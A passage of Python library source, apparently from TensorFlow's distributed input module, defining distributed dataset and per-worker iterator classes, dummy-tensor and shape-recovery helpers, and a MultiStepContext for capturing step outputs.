control options on how this\n dataset is distributed.\n components: datasets when DistributedDatasetsFromFunction is constructed\n from DistributedDatasetsFromFunctionSpec. Only one of dataset or\n components should be passed.\n element_spec: element spec for DistributedDataset when constructing from\n DistributedDatasetSpec. This will be used to set the element_spec for\n DistributedDatasetsFromFunctionSpec and verified against element_spec\n from components.\n \"\"\"\n super(DistributedDatasetsFromFunction, self).__init__(\n input_workers=input_workers)\n self._input_workers = input_workers\n self._strategy = strategy\n self._options = options\n if dataset_fn is not None and components is not None:\n raise ValueError(\"Only one of dataset_fn or components should be set\")\n if dataset_fn is None and components is None:\n raise ValueError(\"At least one of dataset_fn or components should be set\")\n\n if dataset_fn is not None:\n if input_workers.num_workers != len(input_contexts):\n raise ValueError(\n \"Number of input workers (%d) is not same as number of \"\n \"input_contexts (%d)\" %\n (input_workers.num_workers, len(input_contexts)))\n self._datasets, element_spec = (\n _create_datasets_from_function_with_input_context(\n input_contexts, self._input_workers, dataset_fn))\n self._element_spec = _create_distributed_tensor_spec(\n self._strategy, element_spec)\n else:\n if element_spec is None:\n raise ValueError(\n \"element_spec should also be passed when passing components\")\n self._element_spec = element_spec\n self._datasets = components\n\n self._enable_get_next_as_optional = _enable_get_next_as_optional(\n self._strategy, self._datasets[0])\n\n def __iter__(self):\n if (ops.executing_eagerly_outside_functions() or\n ops.get_default_graph().building_function):\n # This is an optional flag that can be used to turn off using\n # OwnedMultiDeviceIterators and instead use the legacy\n # MultiDeviceIterators as a stop gap solution that will allow us to roll\n # out this change.\n enable_legacy_iterators = getattr(self._strategy,\n \"_enable_legacy_iterators\", False)\n canonicalize_devices = getattr(self._strategy, \"_canonicalize_devices\",\n True)\n\n iterators = _create_iterators_per_worker(self._datasets,\n self._input_workers,\n enable_legacy_iterators,\n self._options,\n canonicalize_devices)\n if enable_legacy_iterators:\n iterator = DistributedIteratorV1(\n self._input_workers,\n iterators,\n self._strategy,\n enable_get_next_as_optional=self._enable_get_next_as_optional)\n else:\n iterator = DistributedIterator(\n input_workers=self._input_workers,\n iterators=iterators,\n strategy=self._strategy,\n enable_get_next_as_optional=self._enable_get_next_as_optional,\n options=self._options)\n iterator._element_spec = self._element_spec # pylint: disable=protected-access\n\n # When async eager is enabled, sometimes the iterator may not finish\n # initialization before passing to a multi device function, add a sync\n # point here to make sure all underlying iterators are initialized.\n if context.executing_eagerly():\n context.async_wait()\n\n return iterator\n\n raise RuntimeError(\"__iter__() is only supported inside of tf.function \"\n \"or when eager execution is enabled.\")\n\n @property\n def element_spec(self):\n \"\"\"The type specification of an element of this dataset.\"\"\"\n # When partial batch handling is enabled, always set the batch dimension to\n # None, otherwise we just follow element_spec of the underlying dataset\n # (whose batch dimension may also be None). This is because with partial\n # batching handling we could always produce empty batches.\n if (self._enable_get_next_as_optional and\n self._strategy.extended._in_multi_worker_mode()): # pylint: disable=protected-access\n return nest.map_structure(\n _rebatch_as_dynamic, self._element_spec, expand_composites=False)\n return self._element_spec\n\n @property\n def _type_spec(self):\n return DistributedDatasetsFromFunctionSpec(self._input_workers,\n self._element_spec,\n self._strategy, self._options)\n\n\nclass DistributedDatasetsFromFunctionV1(DistributedDatasetsFromFunction):\n \"\"\"Inputs created from dataset function.\"\"\"\n\n def _make_initializable_iterator(self, shared_name=None):\n \"\"\"Get an initializable iterator for DistributedDatasetsFromFunctionV1.\"\"\"\n del shared_name # Unused\n # Eager mode generates already initialized iterators. Hence we cannot create\n # an initializable iterator.\n if context.executing_eagerly():\n raise ValueError(\"Cannot create initializable iterator in Eager mode. \"\n \"Please use `iter()` instead.\")\n return self._get_iterator()\n\n def _make_one_shot_iterator(self):\n \"\"\"Get an iterator for iterating over DistributedDatasetsFromFunctionV1.\"\"\"\n # Graph mode with one shot iterator is disabled because we have to call\n # `initialize` on the iterator which is only required if we are using a\n # tf.distribute strategy.\n if not context.executing_eagerly():\n raise ValueError(\"Cannot create a one shot iterator. Please use \"\n \"`make_initializable_iterator()` instead.\")\n return self._get_iterator()\n\n def _get_iterator(self):\n iterators = _create_iterators_per_worker(self._datasets,\n self._input_workers, True,\n self._options)\n iterator = DistributedIteratorV1(self._input_workers, iterators,\n self._strategy,\n self._enable_get_next_as_optional)\n iterator._element_spec = self._element_spec # pylint: disable=protected-access\n\n # When async eager is enabled, sometimes the iterator may not finish\n # initialization before passing to a multi device function, add a sync point\n # here to make sure all underlying iterators are initialized.\n if context.executing_eagerly():\n context.async_wait()\n\n return iterator\n\n def __iter__(self):\n if (ops.executing_eagerly_outside_functions() or\n ops.get_default_graph().building_function):\n return self._get_iterator()\n\n raise RuntimeError(\"__iter__() is only supported inside of tf.function \"\n \"or when eager execution is enabled.\")\n\n\n# TODO(anjalisridhar): This class will be soon removed in favor of newer\n# APIs.\nclass InputFunctionIterator(DistributedIteratorV1):\n \"\"\"Iterator created from input function.\"\"\"\n\n def __init__(self, input_fn, input_workers, input_contexts, strategy):\n \"\"\"Make an iterator for input provided via an input function.\n\n Currently implements PER_WORKER mode, in which the `input_fn` is called\n once on each worker.\n\n TODO(priyag): Add other replication modes.\n\n Args:\n input_fn: Input function that returns a `tf.data.Dataset` object.\n input_workers: an `InputWorkers` object.\n input_contexts: A list of `InputContext` instances to be passed to call(s)\n to `input_fn`. Length and order should match worker order in\n `worker_device_pairs`.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n \"\"\"\n assert isinstance(input_workers, InputWorkers)\n if input_workers.num_workers != len(input_contexts):\n raise ValueError(\n \"Number of input workers (%d) is not same as number of \"\n \"input_contexts (%d)\" %\n (input_workers.num_workers, len(input_contexts)))\n\n iterators = []\n for i, ctx in enumerate(input_contexts):\n worker = input_workers.worker_devices[i]\n with ops.device(worker):\n result = input_fn(ctx)\n devices = input_workers.compute_devices_for_worker(i)\n if isinstance(result, dataset_ops.DatasetV2):\n iterator = _SingleWorkerDatasetIterator(result, worker, devices)\n elif callable(result):\n iterator = _SingleWorkerCallableIterator(result, worker, devices)\n else:\n raise ValueError(\n \"input_fn must return a tf.data.Dataset or a callable.\")\n iterators.append(iterator)\n\n super(InputFunctionIterator, self).__init__(\n input_workers, iterators, strategy, enable_get_next_as_optional=False)\n self._enable_get_next_as_optional = False\n\n\n# TODO(anjalisridhar): This class will soon be removed and users should move\n# to using DistributedIterator.\nclass DatasetIterator(DistributedIteratorV1):\n \"\"\"Iterator created from input dataset.\"\"\"\n\n def __init__(self,\n dataset,\n input_workers,\n strategy,\n num_replicas_in_sync=None,\n input_context=None):\n \"\"\"Make an iterator for the dataset on given devices.\n\n If `num_replicas_in_sync` is not None, we split each batch of the dataset\n into `num_replicas_in_sync` smaller batches, to be distributed among that\n worker's replicas, so that the batch size for a global step (across all\n workers and replicas) is as expected.\n\n Args:\n dataset: `tf.data.Dataset` that will be used as the input source.\n input_workers: an `InputWorkers` object.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n num_replicas_in_sync: Optional integer. If this is not None, the value is\n used to decide how to rebatch datasets into smaller batches so that the\n total batch size for each step (across all workers and replicas) adds up\n to `dataset`'s batch size.\n input_context: `InputContext` for sharding. Only pass this in for between\n graph multi-worker cases where there is only one `input_worker`. In\n these cases, we will shard based on the `input_pipeline_id` and\n `num_input_pipelines` in the `InputContext`.\n \"\"\"\n dist_dataset = DistributedDatasetV1(\n dataset,\n input_workers,\n strategy,\n num_replicas_in_sync=num_replicas_in_sync,\n input_context=input_context)\n worker_iterators = _create_iterators_per_worker(\n dist_dataset._cloned_datasets, input_workers, True) # pylint: disable=protected-access\n super(DatasetIterator,\n self).__init__(input_workers, worker_iterators, strategy,\n dist_dataset._enable_get_next_as_optional) # pylint: disable=protected-access\n self._element_spec = dist_dataset.element_spec\n\n\ndef _dummy_tensor_fn(value_structure):\n \"\"\"A function to create dummy tensors from `value_structure`.\"\"\"\n\n def create_dummy_tensor(spec):\n \"\"\"Create a dummy tensor with possible batch dimensions set to 0.\"\"\"\n if hasattr(spec, \"_create_empty_value\"):\n # Type spec may overwrite default dummy values behavior by declaring the\n # `_create_empty_value(self)` method. This method must return a value\n # compatible with the type spec with batch dimensions set to 0 or fail if\n # such a value does not exist. This allows a composite tensor to customize\n # dummy values creation as, in general, its dummy value is not composed\n # from dummy components (e.g. `row_splits` tensor of a RaggedTensor is\n # never allowed to be empty). See b/183969859 for more discussions.\n # TODO(b/186079336): reconsider CompositeTensor support.\n return spec._create_empty_value() # pylint: disable=protected-access\n\n if isinstance(spec, ragged_tensor.RaggedTensorSpec):\n # Splice out the ragged dimensions.\n # pylint: disable=protected-access\n feature_shape = spec._shape[:1].concatenate(\n spec._shape[(1 + spec._ragged_rank):])\n feature_type = spec._dtype\n # pylint: enable=protected-access\n else:\n feature_shape = spec.shape\n feature_type = spec.dtype\n # Ideally we should set the batch dimension to 0, however as in\n # DistributionStrategy we don't know the batch dimension, we try to\n # guess it as much as possible. If the feature has unknown dimensions, we\n # will set them to 0. If the feature shape is already static, we guess the\n # first dimension as batch dimension and set it to 0.\n dims = ([dim if dim is not None else 0 for dim in feature_shape.as_list()]\n if feature_shape else [])\n if dims and (isinstance(spec, ragged_tensor.RaggedTensorSpec) or\n feature_shape.is_fully_defined()):\n dims[0] = tensor_shape.Dimension(0)\n\n if isinstance(spec, sparse_tensor.SparseTensorSpec):\n return sparse_tensor.SparseTensor(\n values=array_ops.zeros(0, feature_type),\n indices=array_ops.zeros((0, len(dims)), dtypes.int64),\n dense_shape=dims)\n\n # Create the dummy tensor.\n dummy_tensor = array_ops.zeros(tensor_shape.TensorShape(dims), feature_type)\n if isinstance(spec, ragged_tensor.RaggedTensorSpec):\n # Reinsert the ragged dimensions with size 0.\n # pylint: disable=protected-access\n row_splits = array_ops.zeros(1, spec._row_splits_dtype)\n dummy_tensor = ragged_tensor.RaggedTensor.from_nested_row_splits(\n dummy_tensor, (row_splits,) * spec._ragged_rank, validate=False)\n # pylint: enable=protected-access\n return dummy_tensor\n\n return nest.map_structure(create_dummy_tensor, value_structure)\n\n\ndef _recover_shape_fn(data, value_structure):\n \"\"\"Recover the shape of `data` the same as shape of `value_structure`.\"\"\"\n\n flattened_data = nest.flatten(data)\n for i, spec in enumerate(nest.flatten(value_structure)):\n for target, source in zip(\n nest.flatten(flattened_data[i], expand_composites=True),\n nest.flatten(spec, expand_composites=True)):\n target.set_shape(source.shape)\n # `SparseTensor` shape is not determined by the shape of its component\n # tensors. Rather, its shape depends on a tensor's values.\n if isinstance(spec, sparse_tensor.SparseTensorSpec) and spec.shape:\n dense_shape = spec.shape\n with ops.device(flattened_data[i].op.device):\n # For partially defined shapes, fill in missing values from tensor.\n if not dense_shape.is_fully_defined():\n dense_shape = array_ops.stack([\n flattened_data[i].dense_shape[j] if dim is None else dim\n for j, dim in enumerate(dense_shape.as_list())\n ])\n flattened_data[i] = sparse_tensor.SparseTensor(\n indices=flattened_data[i].indices,\n values=flattened_data[i].values,\n dense_shape=dense_shape)\n data = nest.pack_sequence_as(data, flattened_data)\n return data\n\n\nclass _SingleWorkerDatasetIteratorBase(object):\n \"\"\"Iterator for a single `tf.data.Dataset`.\"\"\"\n\n def __init__(self, dataset, worker, devices, options=None):\n \"\"\"Create iterator for the `dataset` to fetch data to worker's `devices` .\n\n A `MultiDeviceIterator` or `OwnedMultiDeviceIterator` is used to prefetch\n input to the devices on the given worker.\n\n Args:\n dataset: A `tf.data.Dataset` instance.\n worker: Worker on which ops should be created.\n devices: Distribute data from `dataset` to these devices.\n options: options.\n \"\"\"\n self._dataset = dataset\n self._worker = worker\n self._devices = devices\n self._element_spec = dataset.element_spec\n self._options = options\n self._make_iterator()\n\n def _make_iterator(self):\n raise NotImplementedError(\"must be implemented in descendants\")\n\n def _format_data_list_with_options(self, data_list):\n \"\"\"Change the data in to a list type if required.\n\n The OwnedMultiDeviceIterator returns the list data type,\n while the PER_REPLICA iterator (when used with prefetch disabled)\n returns without the enclosed list. This is to fix the inconsistency.\n Args:\n data_list: data_list\n Returns:\n list\n \"\"\"\n if (self._options and self._options.experimental_replication_mode ==\n InputReplicationMode.PER_REPLICA and\n not self._options.experimental_fetch_to_device):\n return [data_list]\n else:\n return data_list\n\n def get_next(self, device, name=None):\n \"\"\"Get next element for the given device.\"\"\"\n del name\n with ops.device(self._worker):\n if _should_use_multi_device_iterator(self._options):\n return self._iterator.get_next(device)\n else:\n return self._iterator.get_next()\n\n def get_next_as_list_static_shapes(self, name=None):\n \"\"\"Get next element from the underlying iterator.\n\n Runs the iterator get_next() within a device scope. Since this doesn't use\n get_next_as_optional(), it is considerably faster than get_next_as_list()\n (but can only be used when the shapes are static).\n\n Args:\n name: not used.\n\n Returns:\n A list consisting of the next data from each device.\n \"\"\"\n del name\n with ops.device(self._worker):\n return self._format_data_list_with_options(self._iterator.get_next())\n\n def get_next_as_list(self, name=None):\n \"\"\"Get next element from underlying iterator.\n\n If there is no data left, a list of dummy tensors with possible batch\n dimensions set to 0 will be returned. Use of get_next_as_optional() and\n extra logic adds overhead compared to get_next_as_list_static_shapes(), but\n allows us to handle non-static shapes.\n\n Args:\n name: not used.\n\n Returns:\n A boolean tensor indicates whether there is any data in next element and\n the real data as the next element or a list of dummy tensors if no data\n left.\n \"\"\"\n del name\n with ops.device(self._worker):\n data_list = self._format_data_list_with_options(\n self._iterator.get_next_as_optional())\n result = []\n for i, data in enumerate(data_list):\n # Place the condition op in the same device as the data so the data\n # doesn't need to be sent back to the worker.\n with ops.device(self._devices[i]):\n # Data will be fetched in order, so we only need to check if the first\n # replica has value to see whether there is data left for this single\n # worker.\n if i == 0:\n worker_has_value = data.has_value()\n\n # pylint: disable=unnecessary-lambda\n # pylint: disable=cell-var-from-loop\n real_data = control_flow_ops.cond(\n data.has_value(),\n lambda: data.get_value(),\n lambda: _dummy_tensor_fn(data.element_spec),\n strict=True,\n )\n # Some dimensions in `replicas` will become unknown after we\n # conditionally return the real tensors or the dummy tensors. Recover\n # the shapes from `data.element_spec`. We only need to do this in\n # non eager mode because we always know the runtime shape of the\n # tensors in eager mode.\n if not context.executing_eagerly():\n real_data = _recover_shape_fn(real_data, data.element_spec)\n result.append(real_data)\n # pylint: enable=cell-var-from-loop\n # pylint: enable=unnecessary-lambda\n\n return worker_has_value, result\n\n\nclass _SingleWorkerDatasetIteratorSpec(type_spec.TypeSpec):\n \"\"\"Type specification for `_SingleWorkerOwnedDatasetIterator`.\"\"\"\n\n __slots__ = [\n \"_worker\", \"_devices\", \"_element_spec\", \"_options\",\n \"_canonicalize_devices\"\n ]\n\n def __init__(self, worker, devices, element_spec, options,\n canonicalize_devices=True):\n self._worker = worker\n if canonicalize_devices:\n self._devices = tuple(device_util.canonicalize(d) for d in devices)\n else:\n self._devices = tuple(\n device_util.canonicalize_without_job_and_task(d) for d in devices)\n self._element_spec = element_spec\n # `self._options` intentionally made not `None` for proper serialization.\n self._options = (options if options is not None else\n distribute_lib.InputOptions())\n self._canonicalize_devices = canonicalize_devices\n\n @property\n def value_type(self):\n return _SingleWorkerOwnedDatasetIterator\n\n def _serialize(self):\n return (self._worker, self._devices, self._element_spec, self._options,\n self._canonicalize_devices)\n\n def _get_multi_device_iterator_spec(self, specs):\n device_scope = device_util.canonicalize(self._worker, device_util.current())\n host_device = device_util.get_host_for_device(device_scope)\n # source_device while creating iterator governs the worker device in\n # iterator spec.\n worker = host_device\n specs.append(\n multi_device_iterator_ops.MultiDeviceIteratorSpec(\n self._devices, worker, element_spec=self._element_spec))\n\n @property\n def _component_specs(self):\n specs = []\n if _should_use_multi_device_iterator(self._options):\n self._get_multi_device_iterator_spec(specs)\n else:\n specs.append(iterator_ops.IteratorSpec(element_spec=self._element_spec))\n return specs\n\n def _to_components(self, value):\n return [value._iterator] # pylint: disable=protected-access\n\n def _from_components(self, components):\n return _SingleWorkerOwnedDatasetIterator(\n dataset=None,\n worker=self._worker,\n devices=self._devices,\n components=components,\n element_spec=self._element_spec,\n options=self._options,\n canonicalize_devices=self._canonicalize_devices)\n\n @staticmethod\n def from_value(value):\n # pylint: disable=protected-access\n return _SingleWorkerDatasetIteratorSpec(value._worker, value._devices,\n value._element_spec, value._options,\n value._canonicalize_devices)\n\n\nclass _SingleWorkerOwnedDatasetIterator(_SingleWorkerDatasetIteratorBase,\n composite_tensor.CompositeTensor):\n \"\"\"Iterator for a DistributedDataset instance.\"\"\"\n\n def __init__(self,\n dataset=None,\n worker=None,\n devices=None,\n components=None,\n element_spec=None,\n options=None,\n canonicalize_devices=None):\n \"\"\"Create iterator for the `dataset` to fetch data to worker's `devices` .\n\n `OwnedMultiDeviceIterator` is used to prefetch input to the devices on the\n given worker. The lifetime of this iterator is tied to the encompassing\n python object. Once we go out of scope of the python object or return from\n a tf.function the underlying iterator resource is deleted.\n\n Args:\n dataset: A `tf.data.Dataset` instance.\n worker: Worker on which ops should be created.\n devices: Distribute data from `dataset` to these devices.\n components: Tensor components to construct the\n _SingleWorkerOwnedDatasetIterator from.\n element_spec: A nested structure of `TypeSpec` objects that represents the\n type specification of elements of the iterator.\n options: `tf.distribute.InputOptions` used to control options on how this\n dataset is distributed.\n canonicalize_devices: Whether to canonicalize devices for workers fully or\n partially. If False, it will partially canonicalize devices by removing\n job and task.\n \"\"\"\n if worker is None or devices is None:\n raise ValueError(\"Both `worker` and `devices` should be provided\")\n\n error_message = (\"Either `dataset` or both `components` and `element_spec` \"\n \"need to be provided.\")\n\n self._options = options\n self._canonicalize_devices = canonicalize_devices\n if dataset is None:\n if (components is None or element_spec is None):\n raise ValueError(error_message)\n self._element_spec = element_spec\n self._worker = worker\n self._devices = devices\n self._iterator = components[0]\n else:\n if (components is not None or element_spec is not None):\n raise ValueError(error_message)\n super(_SingleWorkerOwnedDatasetIterator,\n self).__init__(dataset, worker, devices, self._options)\n\n def _create_owned_multi_device_iterator(self):\n # If the worker devices are already canonicalized, canonicalizing again\n # would have no impact.\n # For strategies running on remote workers such as PS Strategy, the device\n # scope will be derived from current worker, if used under init_scope().\n device_scope = device_util.canonicalize(self._worker,\n device_util.current())\n host_device = device_util.get_host_for_device(device_scope)\n with ops.device(device_scope):\n if self._options is not None:\n self._iterator = multi_device_iterator_ops.OwnedMultiDeviceIterator(\n self._dataset,\n self._devices,\n source_device=host_device,\n max_buffer_size=self._options\n .experimental_per_replica_buffer_size,\n prefetch_buffer_size=self._options\n .experimental_per_replica_buffer_size)\n else:\n self._iterator = multi_device_iterator_ops.OwnedMultiDeviceIterator(\n self._dataset, self._devices, source_device=host_device)\n\n def _make_iterator(self):\n \"\"\"Make appropriate iterator on the dataset.\"\"\"\n if not self._worker:\n raise ValueError(\"Worker device must be specified when creating an \"\n \"owned iterator.\")\n if _should_use_multi_device_iterator(self._options):\n self._create_owned_multi_device_iterator()\n else:\n with ops.device(self._worker):\n self._iterator = iter(self._dataset)\n\n @property\n def element_spec(self):\n return self._element_spec\n\n @property\n def _type_spec(self):\n return _SingleWorkerDatasetIteratorSpec(self._worker, self._devices,\n self._element_spec, self._options,\n self._canonicalize_devices)\n\n @property\n def output_classes(self):\n \"\"\"Returns the class of each component of an element of this iterator.\n\n The expected values are `tf.Tensor` and `tf.SparseTensor`.\n\n Returns:\n A nested structure of Python `type` objects corresponding to each\n component of an element of this dataset.\n \"\"\"\n return nest.map_structure(\n lambda component_spec: component_spec._to_legacy_output_classes(), # pylint: disable=protected-access\n self._element_spec)\n\n @property\n def output_shapes(self):\n \"\"\"Returns the shape of each component of an element of this iterator.\n\n Returns:\n A nested structure of `tf.TensorShape` objects corresponding to each\n component of an element of this dataset.\n \"\"\"\n return nest.map_structure(\n lambda component_spec: component_spec._to_legacy_output_shapes(), # pylint: disable=protected-access\n self._element_spec)\n\n @property\n def output_types(self):\n \"\"\"Returns the type of each component of an element of this iterator.\n\n Returns:\n A nested structure of `tf.DType` objects corresponding to each component\n of an element of this dataset.\n \"\"\"\n return nest.map_structure(\n lambda component_spec: component_spec._to_legacy_output_types(), # pylint: disable=protected-access\n self._element_spec)\n\n\nclass _SingleWorkerDatasetIterator(_SingleWorkerDatasetIteratorBase):\n \"\"\"Iterator for a single DistributedDatasetV1 instance.\"\"\"\n\n def _make_iterator(self):\n \"\"\"Make appropriate iterator on the dataset.\"\"\"\n with ops.device(self._worker):\n if self._options is not None:\n self._iterator = multi_device_iterator_ops.MultiDeviceIterator(\n self._dataset,\n self._devices,\n max_buffer_size=self._options.experimental_per_replica_buffer_size,\n prefetch_buffer_size=self._options\n .experimental_per_replica_buffer_size)\n else:\n self._iterator = multi_device_iterator_ops.MultiDeviceIterator(\n self._dataset,\n self._devices,\n )\n\n def initialize(self):\n \"\"\"Initialize underlying iterator.\n\n In eager execution, this simply recreates the underlying iterator.\n In graph execution, it returns the initializer ops for the underlying\n iterator.\n\n Returns:\n A list of any initializer ops that should be run.\n \"\"\"\n if ops.executing_eagerly_outside_functions():\n self._iterator._eager_reset() # pylint: disable=protected-access\n return []\n else:\n return [self._iterator.initializer]\n\n @property\n def output_classes(self):\n return dataset_ops.get_legacy_output_classes(self._iterator)\n\n @property\n def output_shapes(self):\n return dataset_ops.get_legacy_output_shapes(self._iterator)\n\n @property\n def output_types(self):\n return dataset_ops.get_legacy_output_types(self._iterator)\n\n\nclass _SingleWorkerCallableIterator(object):\n \"\"\"Iterator for a single tensor-returning callable.\"\"\"\n\n def __init__(self, fn, worker, devices):\n self._fn = fn\n self._worker = worker\n self._devices = devices\n\n def get_next(self, device, name=None):\n \"\"\"Get next element for the given device from the callable.\"\"\"\n del device, name\n with ops.device(self._worker):\n return self._fn()\n\n def get_next_as_list_static_shapes(self, name=None):\n \"\"\"Get next element from the callable.\"\"\"\n del name\n with ops.device(self._worker):\n data_list = [self._fn() for _ in self._devices]\n return data_list\n\n def get_next_as_list(self, name=None):\n \"\"\"Get next element from the callable.\"\"\"\n del name\n with ops.device(self._worker):\n data_list = [self._fn() for _ in self._devices]\n return constant_op.constant(True), data_list\n\n def initialize(self):\n # TODO(petebu) Should this throw an exception instead?\n return []\n\n\ndef _create_iterators_per_worker(worker_datasets,\n input_workers,\n enable_legacy_iterators,\n options=None,\n canonicalize_devices=False):\n \"\"\"Create a multidevice iterator on each of the workers.\"\"\"\n assert isinstance(input_workers, InputWorkers)\n assert len(worker_datasets) == len(input_workers.worker_devices)\n iterators = []\n for i, worker in enumerate(input_workers.worker_devices):\n with ops.device(worker):\n worker_devices = input_workers.compute_devices_for_worker(i)\n if tf2.enabled() and not enable_legacy_iterators:\n iterator = _SingleWorkerOwnedDatasetIterator(\n dataset=worker_datasets[i],\n worker=worker,\n devices=worker_devices,\n options=options,\n canonicalize_devices=canonicalize_devices)\n else:\n iterator = _SingleWorkerDatasetIterator(worker_datasets[i], worker,\n worker_devices, options)\n iterators.append(iterator)\n return iterators\n\n\ndef _create_datasets_from_function_with_input_context(input_contexts,\n input_workers,\n dataset_fn):\n \"\"\"Create device datasets per worker given a dataset function.\"\"\"\n datasets = []\n for i, ctx in enumerate(input_contexts):\n worker = input_workers.worker_devices[i]\n with ops.device(worker):\n dataset = dataset_fn(ctx)\n datasets.append(dataset)\n return datasets, dataset.element_spec\n\n\n# TODO(sourabhbajaj): Remove this in lieu of distributed datasets\ndef _get_batched_dataset(d):\n \"\"\"Get the batched dataset from `d`.\"\"\"\n # pylint: disable=protected-access\n if isinstance(d, dataset_ops.DatasetV1Adapter):\n d = d._dataset\n\n if isinstance(d, (dataset_ops.BatchDataset, batching._MapAndBatchDataset)):\n return d\n elif isinstance(d, (dataset_ops.PrefetchDataset,\n dataset_ops._OptionsDataset)):\n return _get_batched_dataset(d._input_dataset)\n\n raise ValueError(\n \"Unable to get batched dataset from the input dataset. `batch` \"\n \"`map_and_batch` need to be the last operations on the dataset. \"\n \"The batch operations can be followed by a prefetch.\")\n\n\ndef _get_batched_dataset_attributes(d):\n \"\"\"Get `batch_size`, `drop_remainder` of dataset.\"\"\"\n # pylint: disable=protected-access\n assert isinstance(d,\n (dataset_ops.BatchDataset, batching._MapAndBatchDataset))\n if isinstance(d, dataset_ops.BatchDataset):\n batch_size = d._batch_size\n drop_remainder = d._drop_remainder\n elif isinstance(d, batching._MapAndBatchDataset):\n batch_size = d._batch_size_t\n drop_remainder = d._drop_remainder_t\n # pylint: enable=protected-access\n\n if tensor_util.is_tf_type(batch_size):\n batch_size = tensor_util.constant_value(batch_size)\n\n if tensor_util.is_tf_type(drop_remainder):\n drop_remainder = tensor_util.constant_value(drop_remainder)\n\n return batch_size, drop_remainder\n\n\n# TODO(sourabhbajaj): Remove this in lieu of distributed datasets\ndef _get_dataset_attributes(dataset):\n \"\"\"Get the underlying attributes from the dataset object.\"\"\"\n # pylint: disable=protected-access\n\n # First, get batch_size and drop_remainder from the dataset. We need\n # to walk back the dataset creation process and find the batched version in\n # order to get the attributes.\n batched_dataset = _get_batched_dataset(dataset)\n batch_size, drop_remainder = _get_batched_dataset_attributes(batched_dataset)\n\n # Second, prefetch buffer should be get from the original dataset.\n prefetch_buffer = None\n if isinstance(dataset, dataset_ops.PrefetchDataset):\n prefetch_buffer = dataset._buffer_size\n elif (isinstance(dataset, dataset_ops.DatasetV1Adapter)\n and isinstance(dataset._dataset, dataset_ops.PrefetchDataset)):\n prefetch_buffer = dataset._dataset._buffer_size\n\n return batch_size, drop_remainder, prefetch_buffer\n\n\ndef _should_use_multi_device_iterator(options):\n \"\"\"Determine whether to use multi_device_iterator_ops.\"\"\"\n if (options is None or\n options.experimental_replication_mode == InputReplicationMode.PER_WORKER\n or\n (options.experimental_replication_mode == InputReplicationMode.PER_REPLICA\n and options.experimental_fetch_to_device)):\n return True\n return False\n\n\nclass MultiStepContext(object):\n \"\"\"A context object that can be used to capture things when running steps.\n\n This context object is useful when running multiple steps at a time using the\n `experimental_run_steps_on_iterator` API. For e.g. it allows the user's step\n function to specify which outputs to emit at what frequency. Currently it\n supports capturing output from the last step, as well as capturing non tensor\n outputs. In the future it will be augmented to support other use cases such\n as output each N steps.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initialize an output context.\n\n Returns:\n A context object.\n \"\"\"\n self._last_step_outputs = {}\n self._last_step_outputs_reduce_ops = {}\n self._non_tensor_outputs = {}\n\n @property\n def last_step_outputs(self):\n \"\"\"A dictionary consisting of outputs to be captured on last step.\n\n Keys in the dictionary are names of tensors to be captured, as specified\n when `set_last_step_output` is called.\n Values in the dictionary are the tensors themselves. If\n `set_last_step_output` was called with a `reduce_op` for this output,\n then the value is the reduced value.\n\n Returns:\n A dictionary with last step outputs.\n \"\"\"\n return self._last_step_outputs\n\n def _set_last_step_outputs(self, outputs):\n \"\"\"Replace the entire dictionary of last step outputs.\"\"\"\n if not isinstance(outputs, dict):\n raise ValueError(\"Need a dictionary to set last_step_outputs.\")\n self._last_step_outputs = outputs\n\n def set_last_step_output(self, name, output, reduce_op=None):\n \"\"\"Set `output` with `name` to be outputted from the last step.\n\n Args:\n name: String, name to identify the output. Doesn't need to match tensor\n name.\n output: The tensors that should be outputted with `name`. See below for\n actual types supported.\n reduce_op: Reduction method to use to reduce outputs from multiple\n replicas. Required if `set_last_step_output` is called in a replica\n context. Optional in cross_replica_context.\n When present, the outputs from all the replicas are reduced using the\n current distribution strategy's `reduce` method. Hence, the type of\n `output` must be what's supported by the corresponding `reduce` method.\n For e.g. if using MirroredStrategy and reduction is set, output\n must be a `PerReplica` value.\n The reduce method is also recorded in a dictionary\n `_last_step_outputs_reduce_ops` for later interpreting of the\n outputs as already reduced or not.\n \"\"\"\n if distribution_strategy_context.in_cross_replica_context():\n self._last_step_outputs_reduce_ops[name] = reduce_op\n if reduce_op is None:\n self._last_step_outputs[name] = output\n else:\n distribution = distribution_strategy_context.get_strategy()\n self._last_step_outputs[name] = distribution.reduce(reduce_op, output,\n axis=None)\n else:\n assert reduce_op is not None\n def merge_fn(distribution, value):\n self._last_step_outputs[name] = distribution.reduce(reduce_op, value,\n axis=None)\n # Setting this inside the `merge_fn` because all replicas share the same\n # context object, so it's more robust to set it only once (even if all\n # the replicas are trying to set the same value).\n self._last_step_outputs_reduce_ops[name] = reduce_op\n\n distribution_strategy_context.get_replica_context().merge_call(\n merge_fn, args=(output,))\n\n @property\n def non_tensor_outputs(self):\n \"\"\"A dictionary consisting of any non tensor outputs to be captured.\"\"\"\n return self._non_tensor_outputs\n\n def set_non_tensor_output(self, name, output):\n \"\"\"Set `output` with `name` to be captured as a non tensor output.\"\"\"\n if distribution_strategy_context.in_cross_replica_context():\n self._non_tensor_outputs[name] = output\n else:\n def merge_fn(distribution, value):\n # NOTE(priyag): For non tensor outputs, we simply return all the values\n # in a list as reduction doesn't make sense on non tensors.\n self._non_tensor_outputs[name] = (\n distribution.experimental_local_results(value))\n distribution_strategy_context.get_replica_context().merge_call(\n merge_fn, args=(output,))\n\n\ndef _create_distributed_tensor_spec(strategy, tensor_spec):\n \"\"\"Create a `tf.TypeSpec` for a given strategy and input `tensor_spec`.\n\n Args:\n strategy: The given `tf.distribute` strategy.\n tensor_spec: `tf.TensorSpec` of a given value. The batch dimension of the\n shape should be None if you have partial batches.\n\n Returns:\n A `tf.TypeSpec` that matches the values produced by a given strategy. This\n can be a `tf.TensorSpec` or a `PerRelicaSpec`.\n \"\"\"\n num_replicas = len(strategy.extended.worker_devices)\n\n # For one device strategy that is not MultiWorkerMirroredStrategy, return the\n # tensor_spec as is, since we don't wrap the output with PerReplica in this\n # case.\n # TODO(b/166464552): remove after we always wrap for all strategies.\n if not _always_wrap(strategy):\n return tensor_spec\n\n # For other cases we assume the input to tf.function is a per replica type.\n def _get_value_per_replica(tensor_spec_per_input):\n value_specs = [tensor_spec_per_input for _ in range(num_replicas)]\n return values.PerReplicaSpec(*value_specs)\n\n return nest.map_structure(_get_value_per_replica, tensor_spec)\n\n\ndef 